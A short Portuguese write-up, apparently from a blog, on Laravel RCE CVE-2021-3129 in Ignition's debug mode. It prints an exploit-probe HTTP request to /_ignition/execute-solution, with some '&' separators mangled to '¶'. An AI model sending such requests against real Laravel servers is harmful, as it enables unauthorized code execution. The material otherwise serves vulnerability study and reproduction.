
Laravel RCE CVE-2021-3129
Laravel RCE CVE-2021-3129
Quando o Laravel está com o modo Debug ativado, devido ao uso inseguro das funções file_get_contents() e file_put_contents() pelo componente Ignition incluído no Laravel, um atacante pode, ao enviar requisições maliciosas, construir arquivos de Log maliciosos, etc., acionar a desserialização do Phar, resultando eventualmente em execução remota de código.
Laravel <= 8.4.2
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.24.153:8888
Accept: application/json
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution¶meters[variableName]=cve20213129¶meters[viewFile]=null

[CVE-2021-3129]Reprodução do RCE no modo Debug do Laravel | Blog do tyskill